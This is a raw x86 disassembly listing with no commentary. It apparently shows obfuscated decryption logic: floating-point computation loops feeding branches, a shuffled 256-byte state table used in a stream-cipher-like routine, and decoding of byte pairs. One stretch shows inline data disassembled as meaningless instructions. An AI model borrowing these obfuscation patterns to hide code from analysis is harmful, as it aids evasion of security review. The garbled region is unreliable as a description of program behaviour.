movsd qword [ebp - 0x5e4], xmm0
movsd xmm0, qword [ebp - 0x504]
subsd xmm0, qword [ebp - 0x670]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x5e4]
addsd xmm0, qword [ebp - 0x504]
movsd qword [ebp - 0x5e4], xmm0
movsd xmm0, qword [ebp - 0x69c]
addsd xmm0, qword [ebp - 0x5e4]
movsd qword [ebp - 0x69c], xmm0
movsd xmm0, qword [ebp - 0x504]
mulsd xmm0, qword [ebp - 0x670]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x608]
mulsd xmm0, qword [ebp - 0x560]
movsd qword [ebp - 0x608], xmm0
jmp 0x4797d2
movsd xmm0, qword [ebp - 0x670]
addsd xmm0, qword [ebp - 0x608]
movsd qword [ebp - 0x670], xmm0
movsd xmm0, qword [ebp - 0x560]
addsd xmm0, qword [ebp - 0x5e4]
movsd qword [ebp - 0x560], xmm0
movsd xmm0, qword [ebp - 0x504]
addsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x504]
addsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x560]
addsd xmm0, qword [ebp - 0x5e4]
movsd qword [ebp - 0x560], xmm0
movsd xmm0, qword [ebp - 0x608]
addsd xmm0, qword [ebp - 0x69c]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [ebp - 0x670]
addsd xmm0, qword [ebp - 0x608]
movsd qword [ebp - 0x670], xmm0
mov edx, dword [ebp - 0x3d4]
mov dword [ebp - 0x430], edx
mov eax, dword [ebp - 0x42c]
or eax, dword [ebp - 0x430]
mov dword [ebp - 0x434], eax
mov cl, byte [ebp - 0x434]
mov byte [ebp - 0x1bd], cl
movzx edx, byte [ebp - 0x1a5]
mov al, byte [ebp + edx - 0x1154]
mov byte [ebp - 0x1bf], al
movzx ecx, byte [ebp - 0x190]
movzx edx, byte [ebp + ecx - 0x1154]
mov dword [ebp - 0x19c8], edx
mov al, byte [ebp - 0x190]
add al, 1
mov byte [ebp - 0x190], al
movzx ecx, byte [ebp - 0x19b]
add ecx, dword [ebp - 0x19c8]
mov byte [ebp - 0x19b], cl
movzx edx, byte [ebp - 0x19b]
movzx eax, byte [ebp - 0x1a5]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x19a]
movzx eax, byte [ebp - 0x19b]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x190]
movzx eax, byte [ebp - 0x19a]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x190]
mov al, byte [ebp - 0x1bf]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x1bf]
movzx edx, byte [ebp + ecx - 0x1154]
movzx eax, byte [ebp - 0x1be]
add eax, edx
mov byte [ebp - 0x1be], al
movzx ecx, byte [ebp - 0x1bd]
movzx edx, byte [ebp - 0x19b]
movzx eax, byte [ebp + edx - 0x1154]
movzx edx, byte [ebp - 0x190]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1154]
xor ecx, eax
movzx edx, byte [ebp - 0x19a]
movzx eax, byte [ebp + edx - 0x1154]
movzx edx, byte [ebp - 0x1a5]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
movzx edx, byte [ebp - 0x1be]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1154]
movzx edx, byte [ebp + eax - 0x1154]
xor ecx, edx
mov byte [ebp - 0x19a], cl
mov al, byte [ebp - 0x1bd]
mov byte [ebp - 0x1a5], al
mov cl, byte [ebp - 0x19a]
mov byte [ebp - 0x1e3], cl
cmp dword [ebp - 0x214], 0
jle 0x479978
movsx dx, byte [ebp - 0x1e3]
mov eax, dword [ebp - 0x214]
mov word [ebp + eax*2 - 0x62], dx
mov ecx, 2
shl ecx, 3
mov dword [ebp - 0xf78], ecx
cmp dword [ebp - 0xf78], 0x12
jae 0x479991
jmp 0x479997
call fcn.0051c285
nop
xor edx, edx
mov eax, dword [ebp - 0xf78]
mov word [ebp + eax - 0x60], dx
jmp 0x4799f8
mov dword [ebp - 0xc60], 0
jmp 0x4799c1
mov ecx, dword [ebp - 0xc60]
add ecx, 1
mov dword [ebp - 0xc60], ecx
cmp dword [ebp - 0xc60], 9
jge 0x4799f8
mov edx, dword [ebp - 0xc60]
shl edx, 1
mov dword [ebp - 0xf7c], edx
cmp dword [ebp - 0xf7c], 0x12
jae 0x4799e3
jmp 0x4799e9
call fcn.0051c285
nop
xor eax, eax
mov ecx, dword [ebp - 0xf7c]
mov word [ebp + ecx - 0x60], ax
jmp 0x4799b2
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x158], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xc00], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb64], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb64], xmm0
jmp 0x479a47
movsd xmm0, qword [ebp - 0xb64]
addsd xmm0, qword [0x580ac0]
movsd qword [ebp - 0xb64], xmm0
movsd xmm0, qword [0x582190]
comisd xmm0, xmmword [ebp - 0xb64]
jbe 0x479af8
movsd xmm0, qword [0x582050]
mulsd xmm0, qword [ebp - 0xb64]
mulsd xmm0, qword [ebp - 0xb64]
movsd xmm1, qword [ebp - 0xb64]
mulsd xmm1, qword [ebp - 0xb64]
subsd xmm0, xmm1
movsd xmm1, qword [0x580b80]
mulsd xmm1, qword [ebp - 0xb64]
mulsd xmm1, qword [ebp - 0xb64]
addsd xmm1, qword [0x581f18]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xc00]
movsd qword [ebp - 0xc00], xmm0
movsd xmm0, qword [ebp - 0xc00]
comisd xmm0, xmmword [0x581f78]
jbe 0x479af3
movsd xmm0, qword [0x581e40]
mulsd xmm0, qword [ebp - 0xb64]
movsd xmm1, qword [ebp - 0xc00]
subsd xmm1, xmm0
movsd qword [ebp - 0xc00], xmm1
jmp 0x479a2f
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xc00]
jbe 0x479b40
pop esi
bound ebp, qword [ebx]
popal
and edx, dword [esp + ebx*2 + 0x24]
push ebx
jl 0x479b6b
push edi
outsb dx, byte cs:[esi]
imul esi, dword [ebx], 0x55
cmp eax, 0x4f42662e
je 0x479b71
push eax
jle 0x479b90
inc ebp
imul ebx, dword [ecx + 0x20], 0x3b
sbb eax, dword [ebx + 0x1c]
inc ebp
push ss
inc eax
adc eax, 0x15401a3f
inc ebx
sbb dword [ebx], edi
pop ss
aaa
pop ds
cmp edx, dword [ebx]
cmp al, 0x1a
inc ebp
jmp 0x47b3b0
mov dword [ebp - 0x128], 0x479b23
mov dword [ebp - 0x158], 0x479b05
mov edx, dword [ebp - 0x128]
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x19cc], eax
mov byte [ebp - 0x729], 0x22
mov dword [ebp - 0x438], 0
jmp 0x479b8e
inc esi
test edi, edx
clc
invalid
jmp dword [edx]
mov ecx, dword [ebp - 0x438]
add ecx, 1
mov dword [ebp - 0x438], ecx
cmp dword [ebp - 0x438], 0x100
enter 0xfffffffffffffffb, 0xffffffffffffffff
add byte [ecx], al
add byte [eax], al
jae 0x479baf
mov edx, dword [ebp - 0x438]
mov al, byte [ebp - 0x438]
mov byte [ebp + edx - 0x1454], al
jmp 0x479b7f
mov dword [ebp - 0xa5c], 0
mov byte [ebp - 0x206], 0
mov dword [ebp - 0x438], 0xff
jmp 0x479bdb
mov ecx, dword [ebp - 0x438]
sub ecx, 1
mov dword [ebp - 0x438], ecx
cmp dword [ebp - 0x438], 0
jbe 0x479e4b
mov dword [ebp - 0xd8c], 0
mov dword [ebp - 0xc64], 1
mov edx, dword [ebp - 0xc64]
cmp edx, dword [ebp - 0x438]
jae 0x479c1c
mov eax, dword [ebp - 0xc64]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0xc64], ecx
jmp 0x479bfc
mov edx, dword [ebp - 0xa5c]
mov dword [ebp - 0xf90], edx
cmp dword [ebp - 0xf90], 3
ja case.default.0x479c3b
mov eax, dword [ebp - 0xf90]
jmp dword [eax*4 + 0x4950d4]
movzx ecx, byte [ebp - 0x206]
movzx ebx, byte [ebp + ecx - 0x1454]
movsd xmm0, qword [ebp - 0xc00]
call fcn.0051c6e0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x206], bl
jmp 0x479d24
movzx edx, byte [ebp - 0x206]
movzx ebx, byte [ebp + edx - 0x1454]
movsd xmm0, qword [ebp - 0xc00]
call fcn.0051c6e0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x206], bl
jmp 0x479d24
movzx eax, byte [ebp - 0x206]
movzx ebx, byte [ebp + eax - 0x1454]
movsd xmm0, qword [ebp - 0xc00]
call fcn.0051c6e0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x206], bl
jmp 0x479d24
movzx ecx, byte [ebp - 0x206]
movzx ebx, byte [ebp + ecx - 0x1454]
movsd xmm0, qword [ebp - 0xc00]
call fcn.0051c6e0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x206], bl
jmp 0x479d24
movzx edx, byte [ebp - 0x206]
movzx eax, byte [ebp + edx - 0x1454]
mov ecx, dword [ebp - 0x19cc]
add ecx, dword [ebp - 0xa5c]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x206], al
mov eax, dword [ebp - 0xa5c]
add eax, 1
mov dword [ebp - 0xa5c], eax
movzx ecx, byte [ebp - 0x729]
cmp dword [ebp - 0xa5c], ecx
jb 0x479d62
mov dword [ebp - 0xa5c], 0
movzx edx, byte [ebp - 0x729]
movzx eax, byte [ebp - 0x206]
add eax, edx
mov byte [ebp - 0x206], al
movzx ecx, byte [ebp - 0x206]
and ecx, dword [ebp - 0xc64]
mov dword [ebp - 0x900], ecx
mov edx, dword [ebp - 0xd8c]
add edx, 1
mov dword [ebp - 0xd8c], edx
cmp dword [ebp - 0xd8c], 0xb
jbe 0x479da1
mov eax, dword [ebp - 0x900]
xor edx, edx
div dword [ebp - 0x438]
mov dword [ebp - 0x900], edx
mov eax, dword [ebp - 0x900]
cmp eax, dword [ebp - 0x438]
ja 0x479c1c
mov ecx, dword [ebp - 0x438]
cmp ecx, dword [ebp - 0x900]
je 0x479e46
mov edx, dword [ebp - 0x900]
movzx eax, byte [ebp + edx - 0x1454]
mov ecx, dword [ebp - 0x438]
movzx edx, byte [ebp + ecx - 0x1454]
xor edx, eax
mov eax, dword [ebp - 0x438]
mov byte [ebp + eax - 0x1454], dl
mov ecx, dword [ebp - 0x438]
movzx edx, byte [ebp + ecx - 0x1454]
mov eax, dword [ebp - 0x900]
movzx ecx, byte [ebp + eax - 0x1454]
xor ecx, edx
mov edx, dword [ebp - 0x900]
mov byte [ebp + edx - 0x1454], cl
mov eax, dword [ebp - 0x900]
movzx ecx, byte [ebp + eax - 0x1454]
mov edx, dword [ebp - 0x438]
movzx eax, byte [ebp + edx - 0x1454]
xor eax, ecx
mov ecx, dword [ebp - 0x438]
mov byte [ebp + ecx - 0x1454], al
jmp 0x479bcc
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x1454]
mov byte [ebp - 0x195], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x1454]
mov byte [ebp - 0x19e], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x1454]
mov byte [ebp - 0x1d0], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x1454]
mov byte [ebp - 0x19f], al
movzx ecx, byte [ebp - 0x206]
mov dl, byte [ebp + ecx - 0x1454]
mov byte [ebp - 0x1b0], dl
mov dword [ebp - 0xfa8], 0x18
cmp dword [ebp - 0xfa8], 2
jle 0x47b35b
mov eax, dword [ebp - 0xfa8]
and eax, 1
jne 0x47b35b
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x31c], 0
mov ecx, dword [ebp - 0x31c]
add ecx, 1
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x510], 0
mov edx, dword [ebp - 0x21c]
shl edx, 1
mov dword [ebp - 0x510], edx
mov dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x514]
add eax, dword [ebp - 0x510]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x4c0], 0
mov edx, dword [ebp - 0x4c0]
add edx, 0x12
mov dword [ebp - 0x4c0], edx
mov dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x21c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x508], ecx
mov dword [ebp - 0x4c4], 0
mov edx, dword [ebp - 0x514]
add edx, dword [ebp - 0x508]
movzx eax, byte [edx]
add eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c8], 0
mov ecx, dword [ebp - 0x4c8]
add ecx, 0x37
mov dword [ebp - 0x4c8], ecx
mov dword [ebp - 0x4cc], 0
mov edx, dword [ebp - 0x4bc]
sub edx, dword [ebp - 0x4c0]
add edx, dword [ebp - 0x4cc]
mov dword [ebp - 0x4cc], edx
mov dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x4c4]
sub eax, dword [ebp - 0x4c8]
add eax, dword [ebp - 0x488]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x538], 0
mov ecx, dword [ebp - 0x4cc]
shl ecx, 4
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x554], 0
mov edx, dword [ebp - 0x488]
mov dword [ebp - 0x554], edx
mov dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x538]
or eax, dword [ebp - 0x554]
mov dword [ebp - 0x558], eax
mov byte [ebp - 0x1d1], 0
mov cl, byte [ebp - 0x558]
mov byte [ebp - 0x1d1], cl
mov byte [ebp - 0x1cf], 0
movzx edx, byte [ebp - 0x1b0]
mov al, byte [ebp + edx - 0x1454]
mov byte [ebp - 0x1cf], al
movzx ecx, byte [ebp - 0x195]
movzx edx, byte [ebp + ecx - 0x1454]
mov dword [ebp - 0x19d0], edx
mov al, byte [ebp - 0x195]
add al, 1
mov byte [ebp - 0x195], al
movzx ecx, byte [ebp - 0x19e]
add ecx, dword [ebp - 0x19d0]
mov byte [ebp - 0x19e], cl
movzx edx, byte [ebp - 0x19e]
movzx eax, byte [ebp - 0x1b0]
mov cl, byte [ebp + edx - 0x1454]
mov byte [ebp + eax - 0x1454], cl
movzx edx, byte [ebp - 0x19f]
movzx eax, byte [ebp - 0x19e]
mov cl, byte [ebp + edx - 0x1454]
mov byte [ebp + eax - 0x1454], cl
movzx edx, byte [ebp - 0x195]
movzx eax, byte [ebp - 0x19f]
mov cl, byte [ebp + edx - 0x1454]
mov byte [ebp + eax - 0x1454], cl
movzx edx, byte [ebp - 0x195]
mov al, byte [ebp - 0x1cf]
mov byte [ebp + edx - 0x1454], al
movzx ecx, byte [ebp - 0x1cf]
movzx edx, byte [ebp + ecx - 0x1454]
movzx eax, byte [ebp - 0x1d0]
add eax, edx
mov byte [ebp - 0x1d0], al
movzx ecx, byte [ebp - 0x1d1]
movzx edx, byte [ebp - 0x19e]
movzx eax, byte [ebp + edx - 0x1454]
movzx edx, byte [ebp - 0x195]
movzx edx, byte [ebp + edx - 0x1454]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1454]
xor ecx, eax
movzx edx, byte [ebp - 0x19f]
movzx eax, byte [ebp + edx - 0x1454]
movzx edx, byte [ebp - 0x1b0]
movzx edx, byte [ebp + edx - 0x1454]
add eax, edx
movzx edx, byte [ebp - 0x1d0]
movzx edx, byte [ebp + edx - 0x1454]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1454]
movzx edx, byte [ebp + eax - 0x1454]
xor ecx, edx
mov byte [ebp - 0x19f], cl
mov al, byte [ebp - 0x1d1]
mov byte [ebp - 0x1b0], al
mov cl, byte [ebp - 0x19f]
mov byte [ebp - 0x1e7], cl
cmp dword [ebp - 0x21c], 0
jle 0x47a1de
movsx dx, byte [ebp - 0x1e7]
mov eax, dword [ebp - 0x21c]
mov word [ebp + eax*2 - 0xee], dx
mov ecx, dword [ebp - 0x21c]
add ecx, 1
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x31c]
add edx, 1
mov dword [ebp - 0x31c], edx
mov eax, dword [ebp - 0x21c]
shl eax, 1
mov dword [ebp - 0x510], eax
mov ecx, dword [ebp - 0x514]
add ecx, dword [ebp - 0x510]
movzx edx, byte [ecx]
mov dword [ebp - 0x4bc], edx
mov dword [ebp - 0x4c0], 0x12
mov eax, dword [ebp - 0x21c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x508], ecx
mov edx, dword [ebp - 0x514]
add edx, dword [ebp - 0x508]
movzx eax, byte [edx]
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c8], 0x37
mov ecx, dword [ebp - 0x4bc]
sub ecx, dword [ebp - 0x4c0]
mov dword [ebp - 0x4cc], ecx
mov edx, dword [ebp - 0x4c4]
sub edx, dword [ebp - 0x4c8]
mov dword [ebp - 0x488], edx
mov eax, dword [ebp - 0x4cc]
shl eax, 4
mov dword [ebp - 0x538], eax
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x554], ecx
mov edx, dword [ebp - 0x538]
or edx, dword [ebp - 0x554]
mov dword [ebp - 0x558], edx
mov al, byte [ebp - 0x558]
mov byte [ebp - 0x1d1], al
movzx ecx, byte [ebp - 0x1b0]
mov dl, byte [ebp + ecx - 0x1454]
mov byte [ebp - 0x1cf], dl
movzx eax, byte [ebp - 0x195]
movzx ecx, byte [ebp + eax - 0x1454]
mov dword [ebp - 0x19d4], ecx
mov dl, byte [ebp - 0x195]
add dl, 1
mov byte [ebp - 0x195], dl
movzx eax, byte [ebp - 0x19e]
add eax, dword [ebp - 0x19d4]
mov byte [ebp - 0x19e], al
movzx ecx, byte [ebp - 0x19e]
movzx edx, byte [ebp - 0x1b0]
mov al, byte [ebp + ecx - 0x1454]
mov byte [ebp + edx - 0x1454], al
movzx ecx, byte [ebp - 0x19f]
movzx edx, byte [ebp - 0x19e]
mov al, byte [ebp + ecx - 0x1454]
mov byte [ebp + edx - 0x1454], al
movzx ecx, byte [ebp - 0x195]
movzx edx, byte [ebp - 0x19f]
mov al, byte [ebp + ecx - 0x1454]
mov byte [ebp + edx - 0x1454], al
movzx ecx, byte [ebp - 0x195]
mov dl, byte [ebp - 0x1cf]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x1cf]
movzx ecx, byte [ebp + eax - 0x1454]
movzx edx, byte [ebp - 0x1d0]
add edx, ecx
mov byte [ebp - 0x1d0], dl
movzx eax, byte [ebp - 0x1d1]
movzx ecx, byte [ebp - 0x19e]
movzx edx, byte [ebp + ecx - 0x1454]
movzx ecx, byte [ebp - 0x195]
movzx ecx, byte [ebp + ecx - 0x1454]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1454]
xor eax, edx
movzx ecx, byte [ebp - 0x19f]
movzx edx, byte [ebp + ecx - 0x1454]
movzx ecx, byte [ebp - 0x1b0]
movzx ecx, byte [ebp + ecx - 0x1454]
add edx, ecx
movzx ecx, byte [ebp - 0x1d0]
movzx ecx, byte [ebp + ecx - 0x1454]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1454]
movzx ecx, byte [ebp + edx - 0x1454]
xor eax, ecx
mov byte [ebp - 0x19f], al
mov dl, byte [ebp - 0x1d1]
mov byte [ebp - 0x1b0], dl
mov al, byte [ebp - 0x19f]
mov byte [ebp - 0x1e7], al
cmp dword [ebp - 0x21c], 0
jle 0x47a443
movsx cx, byte [ebp - 0x1e7]
mov edx, dword [ebp - 0x21c]
mov word [ebp + edx*2 - 0xee], cx
mov eax, dword [ebp - 0x31c]
add eax, 3
mov dword [ebp - 0x31c], eax
mov ecx, dword [ebp - 0x21c]
add ecx, 1
mov dword [ebp - 0xda4], ecx
jmp 0x47a472
mov edx, dword [ebp - 0xda4]
add edx, 1
mov dword [ebp - 0xda4], edx
mov eax, dword [ebp - 0xda4]
cmp eax, dword [ebp - 0x31c]
jge 0x47a6df
mov ecx, dword [ebp - 0x21c]
add ecx, 1
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x21c]
shl edx, 1
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x514]
add eax, dword [ebp - 0x510]
movzx ecx, byte [eax]
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x4c0], 0x12
mov edx, dword [ebp - 0x21c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x514]
add ecx, dword [ebp - 0x508]
movzx edx, byte [ecx]
mov dword [ebp - 0x4c4], edx
mov dword [ebp - 0x4c8], 0x37
mov eax, dword [ebp - 0x4bc]
sub eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x4cc], eax
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [ebp - 0x4c8]
mov dword [ebp - 0x488], ecx
mov edx, dword [ebp - 0x4cc]
shl edx, 4
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x554], eax
mov ecx, dword [ebp - 0x538]
or ecx, dword [ebp - 0x554]
mov dword [ebp - 0x558], ecx
mov dl, byte [ebp - 0x558]
mov byte [ebp - 0x1d1], dl
movzx eax, byte [ebp - 0x1b0]
mov cl, byte [ebp + eax - 0x1454]
mov byte [ebp - 0x1cf], cl
movzx edx, byte [ebp - 0x195]
movzx eax, byte [ebp + edx - 0x1454]
mov dword [ebp - 0x19d8], eax
mov cl, byte [ebp - 0x195]
add cl, 1
mov byte [ebp - 0x195], cl
movzx edx, byte [ebp - 0x19e]
add edx, dword [ebp - 0x19d8]
mov byte [ebp - 0x19e], dl
movzx eax, byte [ebp - 0x19e]
movzx ecx, byte [ebp - 0x1b0]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x19f]
movzx ecx, byte [ebp - 0x19e]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x195]
movzx ecx, byte [ebp - 0x19f]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x195]
mov cl, byte [ebp - 0x1cf]
mov byte [ebp + eax - 0x1454], cl
movzx edx, byte [ebp - 0x1cf]
movzx eax, byte [ebp + edx - 0x1454]
movzx ecx, byte [ebp - 0x1d0]
add ecx, eax
mov byte [ebp - 0x1d0], cl
movzx edx, byte [ebp - 0x1d1]
movzx eax, byte [ebp - 0x19e]
movzx ecx, byte [ebp + eax - 0x1454]
movzx eax, byte [ebp - 0x195]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1454]
xor edx, ecx
movzx eax, byte [ebp - 0x19f]
movzx ecx, byte [ebp + eax - 0x1454]
movzx eax, byte [ebp - 0x1b0]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
movzx eax, byte [ebp - 0x1d0]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1454]
movzx eax, byte [ebp + ecx - 0x1454]
xor edx, eax
mov byte [ebp - 0x19f], dl
mov cl, byte [ebp - 0x1d1]
mov byte [ebp - 0x1b0], cl
mov dl, byte [ebp - 0x19f]
mov byte [ebp - 0x1e7], dl
cmp dword [ebp - 0x21c], 0
jle 0x47a6da
movsx ax, byte [ebp - 0x1e7]
mov ecx, dword [ebp - 0x21c]
mov word [ebp + ecx*2 - 0xee], ax
jmp 0x47a463
mov edx, dword [ebp - 0x31c]
add edx, 1
mov dword [ebp - 0x31c], edx
mov eax, dword [ebp - 0x21c]
add eax, 1
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x31c]
add ecx, 1
mov dword [ebp - 0x31c], ecx
mov edx, dword [ebp - 0x21c]
shl edx, 1
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x514]
add eax, dword [ebp - 0x510]
movzx ecx, byte [eax]
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x4c0], 0x12
mov edx, dword [ebp - 0x21c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x514]
add ecx, dword [ebp - 0x508]
movzx edx, byte [ecx]
mov dword [ebp - 0x4c4], edx
mov dword [ebp - 0x4c8], 0x37
mov eax, dword [ebp - 0x4bc]
sub eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x4cc], eax
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [ebp - 0x4c8]
mov dword [ebp - 0x488], ecx
mov edx, dword [ebp - 0x4cc]
shl edx, 4
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x554], eax
mov ecx, dword [ebp - 0x538]
or ecx, dword [ebp - 0x554]
mov dword [ebp - 0x558], ecx
mov dl, byte [ebp - 0x558]
mov byte [ebp - 0x1d1], dl
movzx eax, byte [ebp - 0x1b0]
mov cl, byte [ebp + eax - 0x1454]
mov byte [ebp - 0x1cf], cl
movzx edx, byte [ebp - 0x195]
movzx eax, byte [ebp + edx - 0x1454]
mov dword [ebp - 0x19dc], eax
mov cl, byte [ebp - 0x195]
add cl, 1
mov byte [ebp - 0x195], cl
movzx edx, byte [ebp - 0x19e]
add edx, dword [ebp - 0x19dc]
mov byte [ebp - 0x19e], dl
movzx eax, byte [ebp - 0x19e]
movzx ecx, byte [ebp - 0x1b0]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x19f]
movzx ecx, byte [ebp - 0x19e]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x195]
movzx ecx, byte [ebp - 0x19f]
mov dl, byte [ebp + eax - 0x1454]
mov byte [ebp + ecx - 0x1454], dl
movzx eax, byte [ebp - 0x195]
mov cl, byte [ebp - 0x1cf]
mov byte [ebp + eax - 0x1454], cl
movzx edx, byte [ebp - 0x1cf]
movzx eax, byte [ebp + edx - 0x1454]
movzx ecx, byte [ebp - 0x1d0]
add ecx, eax
mov byte [ebp - 0x1d0], cl
movzx edx, byte [ebp - 0x1d1]
movzx eax, byte [ebp - 0x19e]
movzx ecx, byte [ebp + eax - 0x1454]
movzx eax, byte [ebp - 0x195]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1454]
xor edx, ecx
movzx eax, byte [ebp - 0x19f]
movzx ecx, byte [ebp + eax - 0x1454]
movzx eax, byte [ebp - 0x1b0]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
movzx eax, byte [ebp - 0x1d0]
movzx eax, byte [ebp + eax - 0x1454]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1454]
movzx eax, byte [ebp + ecx - 0x1454]
xor edx, eax
mov byte [ebp - 0x19f], dl
mov cl, byte [ebp - 0x1d1]
mov byte [ebp - 0x1b0], cl
mov dl, byte [ebp - 0x19f]
mov byte [ebp - 0x1e7], dl
cmp dword [ebp - 0x21c], 0
jle 0x47a953
movsx ax, byte [ebp - 0x1e7]
mov ecx, dword [ebp - 0x21c]
mov word [ebp + ecx*2 - 0xee], ax
mov edx, dword [ebp - 0x21c]
add edx, 1
mov dword [ebp - 0x21c], edx
mov eax, dword [ebp - 0x31c]
add eax, 1
mov dword [ebp - 0x31c], eax
mov ecx, dword [ebp - 0x21c]
shl ecx, 1
mov dword [ebp - 0x510], ecx
mov edx, dword [ebp - 0x514]
add edx, dword [ebp - 0x510]
movzx eax, byte [edx]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4c0], 0x12
mov ecx, dword [ebp - 0x21c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x508], edx
mov eax, dword [ebp - 0x514]
add eax, dword [ebp - 0x508]
movzx ecx, byte [eax]
mov dword [ebp - 0x4c4], ecx
mov dword [ebp - 0x4c8], 0x37
mov edx, dword [ebp - 0x4bc]
sub edx, dword [ebp - 0x4c0]
mov dword [ebp - 0x4cc], edx
mov eax, dword [ebp - 0x4c4]
sub eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x488], eax
mov ecx, dword [ebp - 0x4cc]
shl ecx, 4
mov dword [ebp - 0x538], ecx
mov edx, dword [ebp - 0x488]
mov dword [ebp - 0x554], edx
mov eax, dword [ebp - 0x538]
or eax, dword [ebp - 0x554]
mov dword [ebp - 0x558], eax
mov cl, byte [ebp - 0x558]
mov byte [ebp - 0x1d1], cl
movzx edx, byte [ebp - 0x1b0]
mov al, byte [ebp + edx - 0x1454]
mov byte [ebp - 0x1cf], al
movzx ecx, byte [ebp - 0x195]
movzx edx, byte [ebp + ecx - 0x1454]
mov dword [ebp - 0x19e0], edx
mov al, byte [ebp - 0x195]
add al, 1
mov byte [ebp - 0x195], al
movzx ecx, byte [ebp - 0x19e]
add ecx, dword [ebp - 0x19e0]
mov byte [ebp - 0x19e], cl
